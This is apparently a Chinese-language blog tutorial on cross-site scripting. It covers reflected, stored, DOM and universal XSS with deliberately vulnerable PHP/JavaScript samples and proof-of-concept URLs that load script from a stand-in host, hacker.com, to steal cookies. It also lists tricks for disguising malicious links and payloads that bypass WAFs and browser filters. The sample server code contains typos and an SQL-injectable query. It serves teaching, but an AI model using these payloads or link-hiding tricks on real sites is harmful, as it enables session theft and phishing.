XSS (Cross Site Scripting)

207 阅读2分钟

仅供学习和技术交流,严禁用于商业和非法用途。个人技术有限, 若有错误,恳请指正。

1. 概念

中译:跨站脚本攻击
区别于 CSS (Cascading Style Sheets):样式表

2. 反射型 XSS

反射型 XSS 是最常见的 XSS,指用户将数据提交到 web 应用,web 应用立即返回提交的内容并在页面中渲染

2.1 服务端代码

<html>
<head>
<title>反射型 XSS</title>
</head>
<body>
    <?php
        $id = $_GET['id'];
        echo $id;
    ?>
</body>
</html>

2.2 POC

假设服务端代码的运行地址为:https://demo.xss.com

  • https://demo.xss.com?id=<iframe src="http://hacker.com"></iframe> => 页面会加载 iframe
  • https://demo.xss.com?id=<script src="http://hacker.com/hacker.js"></script> => 页面会加载并执行 hacker.js, 可以在 hacker.js 中做任意的 js 操作,譬如:读取 cookie 并发送到指定服务器,实现身份信息盗取

上面两个 POC 看起来有一些过于粗暴了, 我们可以加一个社会工程手段来隐藏真实的 URL, 譬如:

  • 缩短 URL
  • 重定向 URL
  • 采用 URL 编码或 ASCII 编码来编码 URL
  • 添加一些多余的、无关的查询参数,把恶意内容混淆其中
  • 在 URL 中使用 @ 符号以添加伪域名内容,举例:www.baidu.com@163.com, 浏览器实际上会访问 www.163.com
  • 把主机名转换为整数,举例:http://3409677458, 浏览器实际上会访问 http://203.59.140.146/

3. 存储型 XSS

存储型 XSS 与反射型 XSS 类似,区别在于存储型 XSS 会持久保存于 web 应用的数据存储中,不仅限于数据库,也可以是文件系统或其他。随后,只要是在脚本被持久存储后访问被侵入的 web 应用,恶意代码都会得到执行,对于攻击来说,一劳永逸

3.1 服务端代码

// 注册
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "insert into users (username, password) values ($username, $password)";
db.exute($sql);
// 用户排行榜页面
<html>
<head>
<title>存储型 XSS</title>
</head>
<body>
    <?php
        // top 10 username
        $usernames = db.excute('selecte username from users limit 10');
        foreach($usernames as $username) {
            echo $username;
        }
    ?>
</body>
</html>

3.2 POC

  1. 注册时 username 填写 <script src="http://hacker.com/hacker.js"></script>
  2. 后续所有访问用户排行榜页面的浏览器都会执行 http://hacker.com/hacker.js 中的代码

4. DOM XSS

DOM XSS 是一种纯粹的客户端 XSS 类型,不依赖 web 应用处理用户输入时的漏洞

4.1 客户端代码

// 将 URL hash 部分的 welcomemessage 内容写到当前页面
<html>
<head>
<title>DOM XSS</title>
</head>
<body>
<script>
document.write(
    location.href.substr(
        location.href.search(/#welcomemessage/i) + 16,
        location.href.length
    )
);
</script>
</body>
</html>

4.2 POC

假设客户端地址为: http://demo.xss.com

  • http://demo.xss.com/#welcomemessage=<script src="http://hacker.com/hacker.js"></script> 攻击脚本会被插入到当前页面得到执行
  • http://demo.xss.com/#welcomemessage=<script>document.location = "https://www.hacker.com"</script> 网页会被劫持自动跳转到 http://www.hacker.com

当然了,在自己的浏览器玩并不能起到攻击效果,需要通过一些社会工程的手段欺骗用户点击上述精心构造的链接

5. 通用型 XSS

  • 通用型 XSS 是另一种在浏览器中执行恶意 JavaScript 的方法,是一种利用浏览器或者浏览器扩展漏洞来制造产生 XSS 的条件并执行代码的一种攻击类型
  • 某些情况下,可以实现绕过 SOP。

5.1 经典例子

var sneaky = '
    setTimeout("alert(document.cookie);", 4000);
    document.location.assign("http://www.gmail.com");
';
document.location = 'chromehtml:"%80%20javascript:document.write(sneaky)"';

6. 绕过 XSS 防御机制

6.1 绕过浏览器 XSS 防御机制

  • mXSS(mutation-based cross site scripting), 基于变异的 xss
// 代码
<img src="test.jpg" alt="``onload=xss()" />
// 浏览器实际渲染结果
<img src="test.jpg" alt=`` onload=xss() />

6.2 绕过服务端 XSS 防御机制

WAF(Web Application Firewalls) 可以阻绝绝大部分的 XSS 攻击,但也有一些漏网之鱼

  • onerror=alert;throw 1;
  • onerror=eval;throw'alert\x281\x29';

资源